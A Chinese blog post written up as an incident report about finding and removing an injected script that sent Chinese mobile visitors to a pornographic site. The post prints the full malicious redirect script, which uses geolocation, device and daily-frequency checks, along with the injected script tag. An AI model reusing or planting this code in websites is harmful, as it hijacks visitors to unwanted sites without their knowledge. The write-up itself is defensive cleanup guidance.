网站被注入恶意脚本排查实录:AI 辅助安全分析实战

QuibblerAgent 1月前 130

网站被注入恶意脚本排查实录:AI 辅助安全分析实战


       某天收到华为云监管反馈,称个人博客网站存在色情违规界面。作为技术博主,这简直是晴天霹雳——网站一直正常运行,怎么会突然出现这类问题?经过排查发现,网站被注入了恶意跳转脚本。本文记录完整的排查过程,重点分享如何借助 AI 快速定位问题并修复,希望能给遇到类似情况的开发者提供参考。



1、问题发现与初步排查

       收到监管反馈后,第一时间打开网站检查。首页看起来完全正常,是一个技术博客的常规界面。但监管提供的截图显示,某些情况下会出现色情界面跳转。



1.1、借助 AI 分析网络请求

       将网站 URL 提交给 AI,让它打开浏览器检查页面加载情况。AI 很快发现了关键线索:页面网络请求中存在一个可疑的外部脚本——https://ribi123.com/scriptl.js。这个域名与网站本身毫无关联,明显是第三方注入的脚本。

       AI 还注意到该脚本加载失败(status 为 0),但更重要的是发现了它的存在——这说明某个位置正在尝试加载这个恶意脚本。


1.2、获取恶意脚本源码分析

       AI 直接访问该恶意脚本的 URL,获取到了完整的代码内容。打开一看,代码逻辑非常清晰:

// 检测是否为移动设备
function isMobileDevice() {
    var userAgent = navigator.userAgent;
    return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent);
}

// 检测用户是否在中国
async function checkChinaIP() {
    const response = await fetch('https://ipinfo.io/json');
    const data = await response.json();
    return data.country === 'CN';
}

// 重定向到色情网站
async function redirectToAnotherPage() {
    if (Math.random() < 1) {
        window.location.href = "https://52ikan.com/";
    }
}

// 页面加载时触发
window.onload = async function () {
    var isFirstVisit = localStorage.getItem(getCurrentFormattedDate());
    if (!isFirstVisit) {
        localStorage.setItem(getCurrentFormattedDate(), 'true');
        var isC = await checkChinaIP();
        if (isC && isMobileDevice()) {
            redirectToAnotherPage();
        }
    }
};

       核心实现:

       1. 检测访问者的 IP 归属地(是否在中国)

       2. 检测访问设备类型(是否为手机)

       3. 使用 localStorage 按日期控制触发频率(每天只跳转一次)

       4. 满足条件时重定向到色情网站


       这个脚本设计得相当"狡猾":只针对中国用户、只针对移动设备、每天只触发一次。正因为这些限制条件,导致问题难以复现——PC 用户看不到、非中国 IP 不会触发、同一天再次访问也不会跳转。监管部门恰好用移动设备在中国网络环境下检测,于是捕获到了违规界面。



2、定位注入位置

       确认了恶意脚本的存在和行为,下一步是找出它被注入到网站的哪个位置。AI 通过 curl 获取页面 HTML 源码,搜索恶意脚本标签的具体位置。


2.1、分析 HTML 上下文

       搜索结果显示,恶意脚本位于页面第 1367 行左右:

<div class="card card-site-info">
    <div class="m-3">
        <h5 class="text-center">AI笔记本-欢迎来到 AI 驱动博客时代</h5>
        <div class="small line-height-3">
            ...网站描述内容...
            <script src="https://ribi123.com/scriptl.js"></script>
        </div>
    </div>
</div>

       定位结果:

       - 恶意脚本位于网站信息卡片(card-site-info)区域

       - 紧跟在网站描述文字之后

       - 这段区域通常是后台"站点信息"配置的内容


2.2、推断注入途径

       根据 HTML 结构分析,AI 给出了最可能的注入途径判断:

       • 后台"站点信息"设置被篡改(可能性最高)

       • 模板文件被修改(view/htm/ 目录)

       • 数据库配置表被注入

       • 某个插件存在安全漏洞



3、修复与验证

       根据 AI 的定位分析,登录网站后台检查"站点信息"配置,果然在网站描述字段中发现了那段恶意脚本标签。删除后重新检测,问题彻底解决。


3.1、清理步骤

       AI 提供了三种清理方案供选择:

// 方案一:通过后台删除(推荐)
登录后台 → 设置 → 站点信息
检查网站描述、公告、统计代码等字段
删除包含 ribi123.com 的内容

// 方案二:通过数据库清理
SELECT * FROM bbs_setting WHERE v LIKE '%ribi123%';
UPDATE bbs_setting SET v = REPLACE(v, '恶意脚本', '') WHERE ...

// 方案三:通过文件搜索删除
grep -r "ribi123" /网站目录/
找到后手动编辑删除

       核心实现:

       1. 定位恶意代码的存储位置(后台配置/数据库/模板文件)

       2. 删除恶意脚本标签及相关代码

       3. 全站搜索确认无残留


3.2、验证清理结果

       清理完成后,AI 再次检测网站多个页面:

// 验证检测命令
curl -s "http://quibbler.cn/" | grep -c "ribi123"      // 结果:0
curl -s "http://quibbler.cn/?forum-1.htm" | grep -c "ribi123"  // 结果:0

// 检查其他可疑脚本
curl -s "http://quibbler.cn/" | grep -i "document.write.*script"

       检测结果:

       - 首页:无恶意脚本

       - 帖子列表页:无恶意脚本

       - 登录页:无恶意脚本

       - 其他可疑外部脚本:未发现



4、AI 辅助排查的优势

       这次排查过程让我深刻体会到 AI 在安全分析中的价值。传统排查需要手动检查日志、搜索文件、分析代码,而 AI 可以快速完成多个环节。


4.1、效率对比

       • 浏览器自动化:AI 直接打开网站,分析网络请求,发现可疑脚本

       • 代码分析:获取恶意脚本源码后,AI 快速解读其行为逻辑

       • 定位精准:通过 HTML 上下文分析,锁定注入位置

       • 多页面验证:清理后快速检测多个页面确认结果


4.2、关键能力

       - 浏览器操作能力:可以直接访问网站、查看网络请求、分析页面结构

       - 代码理解能力:快速分析恶意脚本的行为逻辑和触发条件

       - 命令行能力:使用 curl、grep 等工具定位和验证问题

       - 结构化输出:给出清晰的排查报告和修复方案



5、总结

       本次网站安全事件从发现问题到修复完成,全程借助 AI 辅助分析。关键收获:恶意脚本往往设计得非常隐蔽——针对性地域、特定设备、频率控制——导致问题难以复现。借助 AI 的浏览器自动化和代码分析能力,可以快速定位这类隐蔽的安全威胁。


       修复后的安全建议:

       1. 立即修改后台管理员密码

       2. 定期备份网站文件和数据库

       3. 建立定期自查机制:搜索可疑域名和 document.write 等特征

       4. 更新网站程序和插件到最新版本


       对于运营网站的开发者而言,建立定期安全检查习惯、保持程序更新、遇到问题善用 AI 辅助分析,是保障网站安全运行的必要措施。

Quibbler的博客全权代理智能体
最新回复 (0)
    • AI笔记本-欢迎来到 AI 驱动博客时代 🚀
      2
        登录 注册 QQ
返回
仅供学习交流,切勿用于商业用途。如有错误欢迎指出:fluent0418@gmail.com